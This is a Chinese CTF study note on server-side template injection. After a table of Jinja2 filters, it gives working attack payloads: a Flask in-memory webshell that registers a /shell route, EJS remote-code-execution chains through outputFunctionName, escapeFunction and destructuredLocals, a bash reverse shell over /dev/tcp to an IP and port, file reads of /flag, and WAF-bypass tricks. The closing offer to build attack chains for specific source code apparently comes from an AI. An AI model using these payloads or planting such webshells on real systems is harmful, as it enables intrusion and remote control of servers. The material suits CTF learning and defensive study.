selectattr(*args, **kwargs) | 通过对每个对象的指定属性应用测试来筛选对象序列,并且只选择测试成功的对象。如果没有指定测试,则属性的值将被计算为布尔值。 |
slice(value, slices, fill_with=None) | 对迭代器进行切片,并返回包含这些项的列表列表。如果将第二个参数传递给它,它将用于在最后一次迭代中填充缺失的值。 |
sort(value, reverse=False, case_sensitive=False, attribute=None) | 使用Python的sorted()对可迭代对象进行排序(reverse,case_sensitive,attribute)。排序是稳定的,它不会改变比较相等的元素的相对顺序。这使得可以根据不同的属性和顺序连锁排序。 |
string(object) | 转换为字符串输出。 |
striptags(value) | 删除SGML/XML标记,用一个空格替换相邻的空格。 |
sum(iterable, attribute=None, start=0) | 返回一个数字序列加上参数’ start ‘的值(默认为0)的和。当序列为空时,它返回start。也可以只求某些属性的和。 |
title(s) | 返回一个标题版本的值。即单词将以大写字母开头,其余字符均为小写。 |
tojson(value, indent=None) | 将对象序列化为JSON字符串,并将其标记为可以安全地用HTML呈现。此筛选器仅用于HTML文档。返回的字符串可以安全地呈现在HTML文档和<script>标记中。例外情况出现在双引号的HTML属性中;可以使用单引号或 |
trim(value, chars=None) | 去除开头和结尾字符,默认为空格。 |
truncate(s, length=255, killwords=False, end=’…’, leeway=None) | 返回被截断的字符串的复制。长度由第一个参数指定,默认为255。如果第二个参数为真,过滤器将最终删除文本。否则将丢弃最后一个单词。如果文本实际上被截断,它将附加一个省略号(”…”)。如果你想要一个不同于”…”的省略号您可以使用第三个参数指定它。仅超出第四个参数中给出的公差范围的字符串将不会被截断。 |
unique(value, case_sensitive=False, attribute=None) | 返回给定可迭代对象中唯一项的列表。 |
upper(s) | 将值转换为大写。 |
urlencode(value) | 使用UTF8进行查询编码,在传入字符串时使用urllib.parse.quote(),传入字典或迭代器时使用urilib.parse.urlencode()。 |
urlize(value, trim_url_limit=None, nofollow_=False_, target=None, rel=None, extra_schemes=None) | 将文本中的url转换为可点击的链接。在某些情况下,这可能无法识别链接。 |
wordcount(s) | 数一数字符串中的单词。 |
wordwrap(s, width=79, break_long_words=True, wrapstring=None, break_on_hyphens=True) | 将字符串包装为给定的宽度。现有的换行符被视为单独包装的段落。 |
xmlattr(d, autospace=True) | 基于字典中的条目创建一个SGML/XML属性字符串。 |
内建测试过滤器
| 测试过滤器 | 描述 |
|---|---|
boolean(value) | 如果对象是布尔值则返回true。 |
callable(obj, /) | 返回对象是否可调用(例如,某种函数)。 |
defined(value) | 如果定义了变量则返回true。 |
divisibleby(value, num) | 检查一个变量是否能被一个数整除。 |
eq(a, b, /) | 相当于 a == b |
escaped(value) | 检查值是否被转义。 |
even(value) | 如果变量是偶数则返回true。 |
false(value) | 如果对象为False则返回true。 |
float(value) | 如果对象是浮点数则返回true。 |
ge(a, b, /) | 相当于 a>= b |
gt(a, b, /) | 相当于 a > b |
in(value, seq) | 检查value是否在seq中。 |
integer(value) | 如果对象是整数则返回true。 |
iterable(value) | 检查是否可以在对象上迭代。 |
le(a, b, /) | 相当于 a <= b |
lower(value) | 如果变量小写则返回true。 |
lt(a, b, /) | 相当于 a < b |
mapping(value) | 如果对象是映射(dict等)则返回true。 |
ne(a, b, /) | 相当于 a != b |
none(value) | 如果变量为none则返回true。 |
number(value) | 如果变量是数字则返回true。 |
odd(value) | 如果变量为奇数则返回true。 |
sameas(value, other) | 检查一个对象是否与另一个对象指向相同的内存地址: |
sequence(value) | 如果变量是序列则返回true。序列是可迭代的变量。 |
string(value) | 如果对象是字符串则返回true。 |
true(value) | 如果对象为真则返回真。 |
undefined(value) | 与defined()类似,但反过来。 |
upper(value) | 如果变量是大写的则返回true。 |
{12.}无回显SSTI
对于这种可以判断出不出网,出网的话可以连接自己的服务器或者使用webhook获取结果 首先讲解两种不出网的做法
写入静态目录
核心概念
在 Web 框架(如 Flask, Django, Node.js Express)中,为了提高性能和安全性,代码逻辑(.py)和资源文件(.css, .js, .jpg)是严格分开的。
- 后端领地(禁区):
/app/app.py,/app/templates/。- 这里的代码由服务器执行或渲染。
- 用户绝不能直接通过 URL 下载
app.py(否则源码泄露)。 - 用户也不能直接访问
templates/下的 HTML。
- 静态目录(公共区):
/app/static/- 这里存放样式表、脚本、图片。
- 特权:Web 框架会自动为这个目录开启“下载权限”。
- 规则:只要文件在这个目录下,任何人都可以通过 URL(如
/static/文件名)把它拿走。
结构图
📂 /app/static/ <-- 【静态资源根目录】││ ├── 📂 css/│ ├── 📄 style.css <==> URL: /static/css/style.css│ ├── 📄 normalize.css <==> URL: /static/css/normalize.css│ └── 📄 bootstrap.min.css <==> URL: /static/css/bootstrap.min.css││ ├── 📂 js/│ ├── 📄 main.js <==> URL: /static/js/main.js│ ├── 📄 utils.js <==> URL: /static/js/utils.js│ └── 📄 jquery.min.js <==> URL: /static/js/jquery.min.js││ ├── 📂 img/│ ├── 📄 logo.png <==> URL: /static/img/logo.png│ ├── 📄 banner.jpg <==> URL: /static/img/banner.jpg│ └── 📂 icons/ <-- 【子目录】│ └── 📄 favicon.ico <==> URL: /static/img/icons/favicon.ico││ └── 📂 fonts/ ├── 📄 Roboto-Regular.ttf <==> URL: /static/fonts/Roboto-Regular.ttf └── 📄 fontawesome-webfont.woff2 <==> URL: /static/fonts/fontawesome-webfont.woff2payload
基本上是写入/app/static 即:(‘cat /flag > /app/static/1.txt’)——》在static目录下新建了一个1.txt文件,将flag的内容写入其中,然后访问url/static/1.txt,即可看到 做题实例可看ssti-flask-labs第三关
内存马
核心定义:是一种不落地的后门。它不存在于硬盘的任何文件(如 .php, .py, .txt)中,而是作为一段代码,驻留在 Web 服务器的运行内存(RAM)里
本质::利用代码执行漏洞,动态地给正在运行的 Flask 应用添加一条新的 URL 路由规则。
实现原理
Flask 处理请求的核心机制是路由表。当请求到来时,Flask 会查表:
- 用户访问
/login-> 执行login()函数 - 用户访问
/index-> 执行index()函数 内存马的攻击逻辑: 攻击者通过 SSTI 漏洞,获取到当前的 Flask 应用实例(app),然后调用 Flask 的内部方法add_url_rule,强行插入一条规则: - 用户访问
/shell-> 执行os.popen(cmd)
构造
1. 攻击目标代码 要做的其实是这件事:
# 获取当前的 app 实例app = current_app
# 定义一个恶意函数def evil_func(): cmd = request.args.get('cmd') return os.popen(cmd).read()
# 动态注册路由:访问 /shell 时触发 evil_funcapp.add_url_rule('/shell', view_func=evil_func)2. 转化为 SSTI Payload
第一步:寻找 current_app current_app 代表当前正在运行的 Web 应用。通常可以通过 url_for 或 get_flashed_messages 的全局变量找到。 url_for.__globals__['current_app']
第二步:利用 add_url_rule我们很难在 SSTI 里用 def 定义函数。但在 Python 中,lambda 也是函数。或者我们可以利用 exec (如果允许) 来执行一段完整的 Python 代码。
eg:
{{ url_for.__globals__['__builtins__']['exec']("global app;from flask import current_app as app;def shell(): import os; return os.popen(request.args.get('cmd')).read();app.add_url_rule('/shell', 'shell', shell)") }}{13.}EJS攻击链
一、 核心执行模块:Node.js 的 “os/subprocess”
在 Node.js 中,我们不需要像 Python 那样费劲去爬继承链找 os,因为 Node.js 的全局对象 global 或者 process 通常触手可及。
1. child_process (相当于 Python 的 subprocess)
这是 Node.js 中执行系统命令的核心模块。
| 方法 | 功能 | CTF 利用 Payload (Payload 写在 <% … %> 中) | 特点 |
|---|---|---|---|
| execSync | 同步执行命令 | <%- global.process.mainModule.require('child_process').execSync('whoami').toString() %> | 最常用。会有回显,直接拿到结果。相当于 Python 的 subprocess.check_output。 |
| exec | 异步执行命令 | 较少直接用于 SSTI 回显,因为它是异步回调的,回显难带出来。 | 适合反弹 Shell。 |
| spawn | 启动新进程 | 语法较复杂,CTF 中较少用。 | 适合极复杂的交互场景。 |
2. fs (相当于 Python 的 open)
用于文件读写。
| 方法 | 功能 | CTF 利用 Payload |
|---|---|---|
| readFileSync | 读取文件 | <%- global.process.mainModule.require('fs').readFileSync('/flag').toString() %> |
| writeFileSync | 写文件 | <%- global.process.mainModule.require('fs').writeFileSync('/app/static/1.txt', 'hacked') %> |
二、 EJS 注入核心:Options 参数详解
这是 EJS 最难也最经常考的地方。 原理:Express 经常把用户传参(req.query)合并到 EJS 的 options 对象里。EJS 在编译模板时,会读取这些 options 来拼凑函数字符串。 如果我们可以控制以下参数,就能改变生成的 JS 代码结构。
1. outputFunctionName (经典的 RCE 参数)
- 官方定义:指定用于存储输出内容的变量名(默认是
d)。 - EJS 内部逻辑:
-
// EJS 源码生成的代码大概长这样: var [outputFunctionName] = []; // 这里的变量名由你控制 // … 拼接 HTML 字符串 … return [outputFunctionName].join("");
- **注入思路**:如果你把变量名改成 `x; console.log(1); //`,代码就变成了:var x; console.log(1); // = []; <— 也就是利用分号结束定义,插入恶意代码,注释掉后面的赋值
- **CTF Payload (GET 请求)**:&settings[view options][outputFunctionName]=x;global.process.mainModule.require('child_process').execSync('calc');s_(注:最后的 `s` 或 `//` 是为了闭合语法,防止报错)_#### 2. `client` & `escapeFunction` (组合拳)- **前提条件**:需要 `client` 参数为 `true`。- **官方定义**: - `client`: 为 `true` 时,EJS 返回编译后的函数本身,而不是渲染结果。 - `escapeFunction`: 自定义用于 HTML 转义的函数名(默认是 `escapeXML`)。- **EJS 内部逻辑**:if (options.client) { // … src = ‘var escapeFn = ’ + options.escapeFunction + ’;’; // 直接拼接! }
- **注入思路**:直接把 `escapeFunction` 的值替换成恶意代码。- **CTF Payload**:&settings[view options][client]=true&settings[view options][escapeFunction]=1;return global.process.mainModule.require('child_process').execSync('calc');#### 3. `destructuredLocals` (较新版本 CVE-2022-29078)- **版本影响**:EJS 3.1.7 引入的特性。- **官方定义**:允许使用解构赋值来优化局部变量访问。- **EJS 内部逻辑**:if (options.destructuredLocals && options.destructuredLocals.length) { // 直接把你传进来的数组拼接到 var { … } = locals 中 var src = ‘var {’ + options.destructuredLocals.join(’,’) + ’} = locals;’; }
- **注入思路**:利用解构赋值的默认值特性,或者直接闭合花括号。- **CTF Payload**:&settings[view options][destructuredLocals][0]=i;global.process.mainModule.require("child_process").execSync("calc");x#### 4. `delimiter` (定界符修改)- **官方定义**:修改 EJS 的标签符号,默认是 `%` (即 `<% %>`)。- **注入思路**:虽然不能直接 RCE,但在 WAF 过滤了 `<%` 时,可以把定界符改成 `?`,然后用 `<? ?>` 执行代码。- **Payload**:&settings[view options][delimiter]=?
然后正文中写入 `<?= process.env.FLAG ?>`
## 三、 攻击链与 Payload 构造 (仿照你的 Python 笔记)
#### 1. 基础反射型 (Inline Injection)场景:代码中直接拼接了 ejs.render(str)。Payload:// 类似于 Jinja2 的 {{ 77 }} <%- 77 %> // 回显 49 <%= process.env %> // 回显环境变量 <%- global.process.mainModule.require(‘child_process’).execSync(‘cat /flag’).toString() %>
#### 2. Options 污染型 (Gadget Chain)场景:Express 框架,URL 参数被传递给 render。Payload 构造公式:`settings[view options] (进入 options 对象) + [关键参数名] (Gadget) = [恶意代码]`**通用懒人包 (Express 框架下)**:http://target.com/?settings[view options][outputFunctionName]=x;process.mainModule.require(‘child_process’).execSync(‘bash -c “bash -i >& /dev/tcp/IP/PORT 0>&1”’);s
## 四、 WAF 绕过技巧 (JS 特性)EJS 的绕过主要依赖 JavaScript 灵活的语法。#### 1. 过滤了 `require`- **绕过原理**:利用 `module.constructor` 重新加载模块。- **Payload**:process.mainModule.constructor._load(‘child_process’).execSync(‘calc’)
#### 2. 过滤了字符串 (单双引号)- **绕过原理**:使用 `String.fromCharCode` 或 `Template Strings` (反引号)。- **Payload**:// 相当于 eval(‘console.log(1)’) eval(String.fromCharCode(99,111,110,115,111,108,101,46,108,111,103,40,49,41))
#### 3. 过滤了 `process`- **绕过原理**:在 Node.js 中,很多对象都能顺藤摸瓜找到 process。- **Payload**:// 从当前上下文的构造函数往上找 arguments.callee.caller.arguments[0].process // 或者 this.constructor.constructor(‘return process’)()
## 五、 Python SSTI vs Node.js SSTI 对照表
|**维度**|**Python (Jinja2)**|**Node.js (EJS)**||---|---|---||**核心机制**|模板作为 AST 解析|模板拼接成 JS 字符串后 eval||**RCE 核心库**|`os`, `subprocess`|`child_process`||**获取模块方式**|`__class__.__base__` (继承链)|`process.mainModule.require` (模块加载)||**Options 注入点**|无(主要靠上下文变量)|`outputFunctionName`, `client`, `destructuredLocals`||**命令执行**|`popen().read()`|`execSync().toString()`||**代码盲注**|`sleep`, 写文件|`setTimeout` (不推荐), `curl` 外带|
## 六、 总结与心法**EJS 的心法**:1. **先看版本**:EJS 3.1.6 以前用 `client` 链,3.1.7 以后关注 `destructuredLocals`,`outputFunctionName` 几乎通杀。2. **找 Options**:如果你不能控制模板内容(也就是不能直接写 `<% %>`),那就疯狂找能不能污染 `options` 对象(通过 URL 参数、JSON Body 等)。3. **拼代码**:EJS 的本质就是一段 JS 函数字符串,想办法闭合前面的语法,插入你的 JS payload,注释掉后面的语法。下一步建议:如果你有具体的题目源码(比如 package.json 显示了 EJS 版本,或者 app.js 里有 app.set('view engine', 'ejs')),可以发给我,我帮你演示如何构造具体的攻击链。